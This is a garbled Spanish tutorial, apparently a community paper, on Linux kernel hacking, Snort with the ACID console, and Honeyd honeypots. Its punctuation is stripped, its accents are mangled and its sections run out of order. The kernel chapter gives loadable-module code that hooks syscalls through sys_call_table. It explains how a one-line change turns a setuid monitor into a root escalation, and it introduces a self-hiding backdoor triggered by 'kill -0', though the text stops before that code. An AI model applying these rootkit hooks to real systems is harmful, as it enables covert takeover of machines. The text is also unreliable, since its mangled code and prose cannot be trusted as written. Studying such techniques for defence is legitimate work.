Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red

httpwwwsnortsamnet

5- Usando ACID + SNORT

Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web

Kernel hacks y seguridad JMP

La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten

httpacidlabsourceforgenet

La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo

Luego necesitaremos a ser posible

Apache soporte GD OpenSSL MySQL

PHP soporte GD OpenSSL MySQL

MySQL

ACID soporte adodb jpgraph phplot GD

Y claro esta Snort con soporte para MySQL

Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios

Ejemplo

$ mysql -u root -p

mysql gt CREATE DATABASE snort

mysql gt GRANT ALL ON snort to rootlocalhost identified by password

$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort

Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias

Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid

Alert DB connection parameters

Kernel hacks y seguridad JMP

- $alert_dbname MySQL database name of Snort alert DB

- $alert_host host on which the DB is stored

- $alert_port port on which to access the DB

- $alert_user login to the database with this user

- $alert_password password of the DB user

This information can be gleaned from the Snort database

output plugin configuration

$alert_dbname = snort_log

$alert_host = localhost

$alert_port =

$alert_user = root

$alert_password = mypassword

Archive DB connection parameters

$archive_dbname = snort_archive

$archive_host = localhost

$archive_port =

$archive_user = root

$archive_password = mypassword

Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort

Kernel hacks y seguridad JMP

Creacioacuten de reglas propias para Snort

Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones

CABECERA

Accioacuten de la regla alert

Protocolo tcp udp

Direccion IP origen $EXTERNAL_NET

Puerto IP origen any

Direccion IP destino $HOME_NET

Puerto IP destino any

Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)

OPCIONES

Mensaje ldquohola directivardquo

Opciones flags Aack 0 reference

Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)

El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort

Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg

Conclusiones

Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro

Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales

Kernel hacks y seguridad JMP

Honeypots

Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos

Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema

Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P

net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1

Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2

De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto

httpwwwhoneydorg

httpwwwcitiumicheduuprovoshoneyd

Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd

Config file for etcinitdhoneyd

Set Network addressHONEYD_NET=10001

HONEYD_IF=lo

HONEYD_LOG=varloghoneydlog

Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs

Kernel hacks y seguridad JMP

Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints

-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc

Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc

Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en

httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)

2- Creando sistemas virtuales

Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)

Su contenido se muestra a continuacioacuten

route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024

Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset

create default set default default tcp action block set default default udp action block set default default icmp action block

create router

Kernel hacks y seguridad JMP

set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl

bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42

De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto

Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc

3- Otros usos

Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot

Listado de programas yo utilidades para el anaacutelisis de redes y auditorias

acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace

Kernel hacks y seguridad JMP

dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli

Conclusiones

Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto

ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo

Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G

Kernel hacks y seguridad JMP

BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET

kernel hacks

Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo

Coacutedigo fuente de ldquoAdore-ngrdquo

Material de las conferencias del ldquoHackandalusrdquo hackmeeting

HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo

Kernelnewbies httpeskernelnewbiesorg

Internet Relay Chat en ircfreenodenet

Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo

httpwwwomninerdcom20051122articles43

Phrack ldquoHiding Out Under Unixrdquo

Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten

Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap

Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)

Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg

Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm

Snort NIDS

Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID

OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004

Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo

Honeyd

Documentacioacuten del propio programa y web oficial (honeydorg)

Kernel hacks y seguridad JMP

Page 5: Kernel, Hacks y Seguridad en Linux - Rootkits, IDS y Honeypots

Kernel hacks y seguridad JMP

1- Preparando el entorno de trabajo

Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento seraacute necesario tener en consideracioacuten una serie de requisitos previos

Para poder trabajar con un Kernel de Linux necesitamos algo fundamental esto es un Kernel -) concretamente necesitamos los sources de las series 24 y 26 para ir bien Resulta de intereacutes tener dos SO corriendo usaremos Qemu o VMWare

Necesitaremos a ser posible un depurador como GDB o cualquier otro que corra bajo Linux

Compilador GCC en una versioacuten reciente

Tener soporte para Loadable Kernel Moacutedules habilitado en el nuacutecleo actual

Un editor para el coacutedigo fuente y todas aquellas herramientas auxiliares y de sistema requeridas o que supongan una comodidad para el usuario

Nociones elevadas de C y programacioacuten a bajo nivel son altamente recomendables

11- Obtener e instalar el coacutedigo fuente del nuacutecleo

El coacutedigo fuente del nuacutecleo se puede obtener de los CDs de instalacioacuten de nuestra distribucioacuten o bien a traveacutes de Internet en la URL

httpwwwkernelorg

Una vez descomprimido el contenido del ldquotarballrdquo en usrsrc procedemos a crear un enlace simboacutelico en el mismo directorio apuntando a las fuentes del nuacutecleo que vayamos a compilar y que posteriormente tras su compilacioacuten e instalacioacuten seraacute ejecutado al reiniciar la maacutequina

ln ndashs usrsrclinux-$(uname ndashr) linux

Teniendo eso en cuenta

root cd usrsrc

1 Descargamos el coacutedigo fuente del Kernel en usrsrc 2 Descomprimimos el contenido seguacuten convenga tar jxvf linux-2xx 3 Compilamos el nuacutecleo con las opciones adecuadas

cd usrsrclinux make menuconfig make ampamp make modules_install cp archi386bootbzImage bootkernel-2xx

editamos nuestro gestor de arranque como sea necesario (reiniciamos la maacutequina)

Kernel hacks y seguridad JMP

2- Conceptos baacutesicos

Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen

Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos

1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30

El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado

f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74

Kernel hacks y seguridad JMP

Kerneland y Userland

Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland

Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes

Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo

Archivos de cabecera

Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo

Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura

Llamadas al sistema

En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal

Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario

Kernel hacks y seguridad JMP

3- Loadable Kernel Modules

Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente

Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute

Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod

Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)

Kernel hacks y seguridad JMP

31- Compilacioacuten de LKMs para la serie 24x

Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel

root gcc -c listado2c -I usrsrclinuxinclude

lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado

root insmod listado2o parm_entero=5

podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt

Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute

Explicacioacuten

En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso

Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel

Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog

Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages

Kernel hacks y seguridad JMP

4- Sys_call_table[] en kernels 22 y 24

Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo

extern void sys_call_table[]

Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)

Listado 3

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)

Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento

El funcionmiento se explica a continuacioacuten

Kernel hacks y seguridad JMP

Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado

iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt

$cat usrsrclinuxincludelinuxasmunistdh|less

Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh

Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod

La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt

sigue listado 4

Kernel hacks y seguridad JMP

continuando listado 4

8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

